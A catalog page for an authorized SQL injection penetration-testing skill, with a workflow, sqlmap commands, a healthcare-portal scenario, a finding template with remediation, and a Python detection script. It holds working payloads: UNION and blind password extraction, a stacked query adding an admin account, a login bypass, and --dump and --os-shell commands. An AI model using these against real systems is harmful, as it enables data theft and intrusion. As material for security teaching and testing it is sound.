Install this skill

npx skills add mukul975/Anthropic-Cybersecurity-Skills

Framework mappings

MITRE ATT&CK

NIST CSF 2.0

When to Use

Testing web application input parameters for SQL injection vulnerabilities during an authorized penetration test
Validating that parameterized queries and input sanitization are properly implemented across all database interactions
Demonstrating the business impact of a confirmed SQL injection vulnerability by extracting sensitive data
Verifying that WAF rules and input validation controls effectively block SQL injection payloads
Testing stored procedures, dynamic SQL, and ORM bypass scenarios in enterprise applications

Do not use against databases without written authorization, for extracting or exfiltrating actual customer data beyond what is needed for proof of concept, or against production databases where exploitation could corrupt data integrity.

Prerequisites

Written authorization specifying the target application and permissible level of exploitation (detection only vs. full exploitation)
Burp Suite Professional configured as an intercepting proxy to capture and modify HTTP requests
sqlmap installed with current version for automated detection and exploitation
Knowledge of the target database engine (MySQL, PostgreSQL, MSSQL, Oracle) or ability to fingerprint it
Test accounts at various privilege levels to test injection in authenticated contexts

Workflow

Step 1: Injection Point Discovery

Identify parameters that interact with the database:

Map all input vectors: Catalog every parameter in URLs (GET), request bodies (POST), HTTP headers (Cookie, Referer, User-Agent, X-Forwarded-For), and JSON/XML API payloads
Error-based detection: Inject a single quote (') into each parameter and observe the response. SQL errors (e.g., "You have an error in your SQL syntax", "unterminated quoted string", "ORA-01756") confirm the parameter reaches the database unsanitized.
Boolean-based detection: Inject ' AND 1=1-- (true condition) and ' AND 1=2-- (false condition). If the responses differ (different content length, different data returned, different HTTP status), the parameter is injectable.
Time-based detection: Inject '; WAITFOR DELAY '0:0:5'-- (MSSQL), ' AND SLEEP(5)-- (MySQL), or '; SELECT pg_sleep(5)-- (PostgreSQL). A 5-second response delay confirms injection.
Out-of-band detection: Use payloads that trigger DNS or HTTP requests to a Burp Collaborator domain to confirm injection in scenarios where responses are not directly observable.
Second-order injection: Test for injection where input is stored and later used in a different SQL query (e.g., username stored at registration, used in a query on the profile page).

Step 2: Database Fingerprinting

Determine the database engine and version to select appropriate exploitation techniques:

Error-based fingerprinting: Each database produces distinctive error messages. MySQL includes "MySQL", MSSQL mentions "SQL Server", PostgreSQL references "PG", Oracle contains "ORA-".
Function-based fingerprinting: Inject database-specific functions:
- MySQL: ' AND VERSION()-- or ' AND @@version--
- MSSQL: ' AND @@version-- or ' AND DB_NAME()--
- PostgreSQL: ' AND version()--
- Oracle: ' AND banner FROM v$version--
String concatenation differences: MySQL uses CONCAT('a','b') or 'a' 'b', MSSQL uses 'a'+'b', PostgreSQL uses 'a'||'b', Oracle uses 'a'||'b'
Comment syntax: MySQL supports # and -- , MSSQL uses -- , PostgreSQL uses -- , Oracle uses --

Step 3: Manual Exploitation Techniques

Exploit confirmed injection points using technique-appropriate methods:

UNION-based extraction: Determine the number of columns with ORDER BY incrementing (' ORDER BY 1--, ' ORDER BY 2--, etc. until an error occurs). Then construct UNION SELECT to extract data:
```
' UNION SELECT NULL,username,password,NULL FROM users--
```
Error-based extraction (MySQL): Use EXTRACTVALUE or UPDATEXML to force data into error messages:
```
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))--
```
Blind boolean extraction: Extract data one character at a time by testing character values:
```
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
```

Time-based blind extraction: Same character-by-character approach using time delays:

' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)--

Stacked queries (where supported): Execute additional SQL statements:

'; INSERT INTO users(username,password,role) VALUES('attacker','password','admin')--

Step 4: Automated Exploitation with sqlmap

Use sqlmap for efficient exploitation of confirmed injection points:

Basic detection: sqlmap -u "https://target.com/page?id=1" --batch --random-agent to detect injection and identify the database
Extract databases: sqlmap -u "https://target.com/page?id=1" --dbs to list all databases
Extract tables: sqlmap -u "https://target.com/page?id=1" -D <database> --tables to list tables
Extract data: sqlmap -u "https://target.com/page?id=1" -D <database> -T users --dump --threads 5 to extract table contents
POST parameters: sqlmap -u "https://target.com/login" --data="username=test&password=test" -p username to test POST parameters
Cookie injection: sqlmap -u "https://target.com/page" --cookie="session=abc123; id=1*" --level 2 to test cookie parameters (mark injectable parameter with *)
OS command execution (if DB user has sufficient privileges): sqlmap -u "https://target.com/page?id=1" --os-shell to attempt command execution via xp_cmdshell (MSSQL) or INTO OUTFILE (MySQL)
Tamper scripts: sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,between to bypass WAF filters

Step 5: Impact Demonstration and Reporting

Document the full impact of the SQL injection vulnerability:

Data extraction evidence: Capture screenshots or sqlmap output showing extracted database names, table schemas, and sample records (redact actual PII in the report)
Authentication bypass: Demonstrate login bypass with admin' OR 1=1-- and document the bypassed authentication mechanism
Privilege escalation: If the database user has DBA privileges, document what additional capabilities are available (file read/write, command execution)
Lateral movement potential: Document if the database server has network access to other internal systems that could be reached through OS-level access gained via SQLi
Remediation: Provide specific code-level fixes showing the vulnerable query and the corrected parameterized version

Key Concepts

Term	Definition
SQL Injection	A code injection technique that exploits unvalidated user input in SQL queries to manipulate database operations, extract data, or execute administrative operations
Union-Based SQLi	Injection technique that appends a UNION SELECT statement to the original query to extract data from other tables in the same response
Blind SQL Injection	Injection where the application does not return query results directly; the attacker infers data through boolean responses or time delays
Parameterized Query	A prepared SQL statement where user input is passed as parameters rather than concatenated into the query string, preventing injection
Second-Order Injection	SQL injection where the malicious payload is stored by the application and executed in a different context or SQL query at a later time
Stacked Queries	Executing multiple SQL statements separated by semicolons in a single request, enabling INSERT, UPDATE, or DELETE operations through injection
WAF Bypass	Techniques for evading Web Application Firewall rules that block common SQL injection patterns, using encoding, alternate syntax, or fragmentation

Tools & Systems

sqlmap: Automated SQL injection detection and exploitation tool supporting 6 injection techniques across 30+ database management systems
Burp Suite Professional: HTTP proxy for intercepting, modifying, and replaying requests with SQL injection payloads across all parameter types
Havij: GUI-based SQL injection tool used for rapid automated exploitation when sqlmap is not available
jSQL Injection: Java-based SQL injection tool with GUI supporting automatic injection, database extraction, and file read/write

Common Scenarios

Scenario: SQL Injection in Healthcare Patient Portal

Context: A healthcare organization's patient portal allows patients to view their medical records, appointments, and billing information. The application uses a PHP backend with MySQL database. The tester has a valid patient account.

Approach:

Map all parameters in the patient portal; identify that the appointment detail page uses /appointment?id=4521
Inject a single quote into the id parameter; receive a MySQL error confirming the parameter is injectable
Use ORDER BY to determine the query returns 7 columns
Construct UNION SELECT to extract table names from information_schema, discovering tables: patients, medical_records, billing, admin_users
Extract admin_users table to reveal 5 administrator accounts with MD5-hashed passwords
Demonstrate that patient medical records for all patients are accessible by querying the medical_records table through the injection point
Document that 15,000+ patient records containing PHI (protected health information) are accessible, constituting a HIPAA violation

Pitfalls:

Running sqlmap with default settings against a production database and causing excessive load or data corruption
Extracting and storing actual patient data during the assessment rather than limiting proof to record counts and schema
Not testing for second-order injection in stored procedures called by the application
Failing to test all parameter types (cookies, headers, JSON body) and only testing URL parameters

Output Format

## Finding: SQL Injection in Appointment Detail Parameter
 
**ID**: SQLI-001
**Severity**: Critical (CVSS 9.8)
**Affected URL**: GET /appointment?id=4521
**Parameter**: id (GET parameter)
**Database**: MySQL 8.0.32
**Injection Type**: Error-based, UNION-based
 
**Description**:
The appointment detail page concatenates the 'id' URL parameter directly into
a SQL query without parameterization or input validation. This allows an attacker
to inject arbitrary SQL statements and extract data from any table in the database.
 
**Proof of Concept**:
Request: GET /appointment?id=4521' UNION SELECT 1,username,password,4,5,6,7 FROM admin_users-- -
Response: Returns admin usernames and MD5 password hashes in the page content.
 
**Data Accessible**:
- patients table: 15,247 records (name, DOB, SSN, address, phone)
- medical_records table: 43,891 records (diagnoses, prescriptions, lab results)
- admin_users table: 5 accounts with MD5-hashed passwords
- billing table: 28,563 records (insurance details, payment information)
 
**Remediation**:
1. Replace string concatenation with parameterized queries:
   VULNERABLE:  $query = "SELECT * FROM appointments WHERE id = " . $_GET['id'];
   SECURE:      $stmt = $pdo->prepare("SELECT * FROM appointments WHERE id = ?");
                $stmt->execute([$_GET['id']]);
2. Implement input validation to reject non-integer values for the id parameter
3. Apply least-privilege database permissions (read-only for the web application user)
4. Deploy a WAF rule to detect and block SQL injection patterns as defense-in-depth

Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md1.9 KB

API Reference: SQL Injection Detection Agent

Dependencies

Library	Version	Purpose
requests	>=2.28	HTTP client for injection payload delivery

CLI Usage

python scripts/agent.py \
  --url "https://target.example.com/products" \
  --param id --method GET \
  --output sqli_report.json

Functions

`detect_error_based(url, param, method, headers) -> dict`

Injects ' and matches response against SQL error patterns for MySQL, PostgreSQL, MSSQL, Oracle, SQLite.

`detect_boolean_based(url, param, method, headers) -> dict`

Compares response lengths for AND 1=1 (true) vs AND 1=2 (false) against a baseline.

`detect_time_based(url, param, method, headers, delay) -> dict`

Tests SLEEP(), pg_sleep(), and WAITFOR DELAY payloads. Measures response time against target delay.

`detect_union_columns(url, param, method, headers, max_cols) -> dict`

Increments ORDER BY N until error to determine column count for UNION injection.

`fingerprint_database(url, param, method, headers) -> dict`

Tries @@version and version() via UNION SELECT to identify the database engine.

`run_assessment(url, param, method) -> dict`

Runs all detection techniques and compiles findings.

SQL Error Signatures

Database	Pattern
MySQL	`SQL syntax.MySQL`, `Warning.mysql_`
PostgreSQL	`ERROR:\s+syntax error`, `PSQLException`
MSSQL	`SQL Server.*Driver`, `SQLServerException`
Oracle	`ORA-\d{5}`
SQLite	`SQLite\.Exception`

Output Schema

{
  "target": "https://target.example.com/products",
  "parameter": "id",
  "injectable": true,
  "error_based": {"injectable": true, "database": "mysql"},
  "boolean_based": {"injectable": true},
  "time_based": {"injectable": false},
  "findings": ["CRITICAL: Error-based SQLi confirmed (DB: mysql)"]
}

Scripts 1

agent.py7.3 KB

Display-only source. This catalog never executes bundled scripts.

#!/usr/bin/env python3
# For authorized testing in lab/CTF environments only
"""SQL injection detection agent using requests for manual technique-based testing."""

import argparse
import json
import logging
import sys
import time
import re
from typing import Optional

try:
    import requests
except ImportError:
    sys.exit("requests is required: pip install requests")

logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)

SQL_ERRORS = {
    "mysql": [r"SQL syntax.*MySQL", r"Warning.*mysql_", r"MySQLSyntaxErrorException"],
    "postgresql": [r"ERROR:\s+syntax error", r"pg_query\(\)", r"PSQLException"],
    "mssql": [r"SQL Server.*Driver", r"OLE DB.*SQL Server", r"SQLServerException"],
    "oracle": [r"ORA-\d{5}", r"Oracle.*Driver", r"quoted string not properly terminated"],
    "sqlite": [r"SQLite/JDBCDriver", r"SQLite\.Exception", r"System\.Data\.SQLite"],
}


def detect_error_based(url: str, param: str, method: str = "GET",
                        headers: Optional[dict] = None) -> dict:
    """Inject a single quote to detect SQL errors in the response."""
    payload = "'"
    test_url, data = _build_request(url, param, payload, method)
    resp = _send(test_url, method, data, headers)

    db_type = None
    error_found = False
    for db, patterns in SQL_ERRORS.items():
        for pattern in patterns:
            if re.search(pattern, resp.text, re.IGNORECASE):
                db_type = db
                error_found = True
                break
        if error_found:
            break

    return {
        "technique": "error_based",
        "parameter": param,
        "injectable": error_found,
        "database": db_type,
        "status_code": resp.status_code,
    }


def detect_boolean_based(url: str, param: str, method: str = "GET",
                          headers: Optional[dict] = None) -> dict:
    """Test boolean-based blind SQLi with true/false conditions."""
    baseline_resp = _send(*_build_request(url, param, "1", method), headers)
    true_resp = _send(*_build_request(url, param, "1 AND 1=1--", method), headers)
    false_resp = _send(*_build_request(url, param, "1 AND 1=2--", method), headers)

    true_match = len(true_resp.content) == len(baseline_resp.content)
    false_diff = abs(len(false_resp.content) - len(baseline_resp.content)) > 10

    return {
        "technique": "boolean_based",
        "parameter": param,
        "injectable": true_match and false_diff,
        "baseline_length": len(baseline_resp.content),
        "true_length": len(true_resp.content),
        "false_length": len(false_resp.content),
    }


def detect_time_based(url: str, param: str, method: str = "GET",
                       headers: Optional[dict] = None, delay: int = 5) -> dict:
    """Test time-based blind SQLi with sleep functions."""
    payloads = {
        "mysql": f"1 AND SLEEP({delay})--",
        "postgresql": f"1; SELECT pg_sleep({delay})--",
        "mssql": f"1; WAITFOR DELAY '0:0:{delay}'--",
    }
    results = {}
    for db, payload in payloads.items():
        start = time.time()
        _send(*_build_request(url, param, payload, method), headers)
        elapsed = time.time() - start
        results[db] = {"elapsed": round(elapsed, 2), "delayed": elapsed >= delay - 1}

    injectable = any(r["delayed"] for r in results.values())
    detected_db = next((db for db, r in results.items() if r["delayed"]), None)

    return {
        "technique": "time_based",
        "parameter": param,
        "injectable": injectable,
        "database": detected_db,
        "delay_target": delay,
        "timing_results": results,
    }


def detect_union_columns(url: str, param: str, method: str = "GET",
                          headers: Optional[dict] = None, max_cols: int = 20) -> dict:
    """Determine the number of columns for UNION-based injection."""
    for n in range(1, max_cols + 1):
        payload = f"1 ORDER BY {n}--"
        resp = _send(*_build_request(url, param, payload, method), headers)
        if resp.status_code >= 400 or "error" in resp.text.lower():
            return {"technique": "union_column_count", "parameter": param, "columns": n - 1}

    return {"technique": "union_column_count", "parameter": param, "columns": None}


def fingerprint_database(url: str, param: str, method: str = "GET",
                          headers: Optional[dict] = None) -> dict:
    """Identify the database engine using version functions."""
    version_payloads = {
        "mysql": "1 UNION SELECT @@version,NULL--",
        "postgresql": "1 UNION SELECT version(),NULL--",
        "mssql": "1 UNION SELECT @@version,NULL--",
    }
    for db, payload in version_payloads.items():
        resp = _send(*_build_request(url, param, payload, method), headers)
        if resp.status_code == 200 and len(resp.content) > 50:
            return {"database": db, "response_preview": resp.text[:200]}

    return {"database": "unknown"}


def _build_request(url: str, param: str, value: str, method: str):
    if method.upper() == "GET":
        separator = "&" if "?" in url else "?"
        return f"{url}{separator}{param}={requests.utils.quote(value)}", None
    else:
        return url, {param: value}


def _send(url: str, method: str = "GET", data: Optional[dict] = None,
           headers: Optional[dict] = None) -> requests.Response:
    h = headers or {}
    try:
        if method.upper() == "POST":
            return requests.post(url, data=data, headers=h, timeout=15, verify=False)
        return requests.get(url, headers=h, timeout=15, verify=False)
    except requests.RequestException:
        return type("FakeResp", (), {"status_code": 0, "text": "", "content": b""})()


def run_assessment(url: str, param: str, method: str = "GET") -> dict:
    """Run complete SQL injection assessment."""
    error = detect_error_based(url, param, method)
    boolean = detect_boolean_based(url, param, method)
    timing = detect_time_based(url, param, method)
    columns = detect_union_columns(url, param, method) if error["injectable"] else {}

    injectable = error["injectable"] or boolean["injectable"] or timing["injectable"]
    findings = []
    if error["injectable"]:
        findings.append(f"CRITICAL: Error-based SQLi confirmed (DB: {error['database']})")
    if boolean["injectable"]:
        findings.append("CRITICAL: Boolean-based blind SQLi confirmed")
    if timing["injectable"]:
        findings.append(f"CRITICAL: Time-based blind SQLi confirmed (DB: {timing['database']})")

    return {
        "target": url,
        "parameter": param,
        "injectable": injectable,
        "error_based": error,
        "boolean_based": boolean,
        "time_based": timing,
        "union_columns": columns,
        "findings": findings,
    }


def main():
    parser = argparse.ArgumentParser(description="SQL Injection Detection Agent")
    parser.add_argument("--url", required=True, help="Target URL")
    parser.add_argument("--param", required=True, help="Parameter to test")
    parser.add_argument("--method", default="GET", choices=["GET", "POST"])
    parser.add_argument("--output", default="sqli_report.json")
    args = parser.parse_args()

    report = run_assessment(args.url, args.param, args.method)
    with open(args.output, "w") as f:
        json.dump(report, f, indent=2)
    logger.info("Report saved to %s", args.output)
    print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()

Keep exploring